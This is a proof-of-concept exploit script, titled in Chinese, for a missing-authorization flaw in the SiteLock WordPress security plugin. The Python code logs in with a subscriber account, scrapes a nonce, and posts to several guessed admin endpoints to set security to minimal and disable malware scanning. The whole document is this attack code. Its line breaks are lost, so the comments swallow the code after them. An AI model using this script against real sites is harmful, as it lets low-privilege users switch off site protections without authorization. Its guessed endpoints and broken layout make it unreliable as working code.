CVE-2025-62128: SiteLock WordPress插件缺失授权漏洞

import requests import sys # CVE-2025-62128 PoC - SiteLock WordPress Plugin Missing Authorization # Target: WordPress site with SiteLock Security plugin <= 5.0.1 # This PoC demonstrates accessing admin functions with subscriber-level privileges TARGET_URL = "https://vulnerable-site.com" USERNAME = "low_priv_user" # Low privilege account (subscriber role) PASSWORD = "user_password" def get_wordpress_nonce(url, cookie): """Get WordPress nonce for authenticated requests""" response = requests.get(f"{url}/wp-admin/admin.php?page=sitelock", cookies=cookie) if response.status_code == 200: import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit_sitelock_auth_bypass(): """ Exploit missing authorization in SiteLock Security plugin Attempts to access admin-only settings with low-privilege account """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Get nonce cookie = session.cookies.get_dict() nonce = get_wordpress_nonce(TARGET_URL, cookie) # Step 3: Exploit - Access admin function without proper authorization # Target endpoint varies based on plugin version exploit_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php?action=sitelock_update_settings", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=sitelock_security_scan", f"{TARGET_URL}/wp-json/sitelock/v1/settings" ] for endpoint in exploit_endpoints: headers = {'X-Requested-With': 'XMLHttpRequest'} if nonce: headers['X-WP-Nonce'] = nonce exploit_data = { 'security_level': 'minimal', # Downgrade security settings 'malware_scan': 'disabled' # Disable protection } response = session.post(endpoint, data=exploit_data, headers=headers) if response.status_code == 200 and 'success' in response.text.lower(): print(f"[!] VULNERABLE: {endpoint}") print(f"[+] Successfully accessed admin function with low privileges") return True print("[-] Exploitation attempt completed - check manually") return False if __name__ == "__main__": print("="*60) print("CVE-2025-62128 PoC - SiteLock WordPress Plugin") print("Missing Authorization / Broken Access Control") print("="*60) exploit_sitelock_auth_bypass()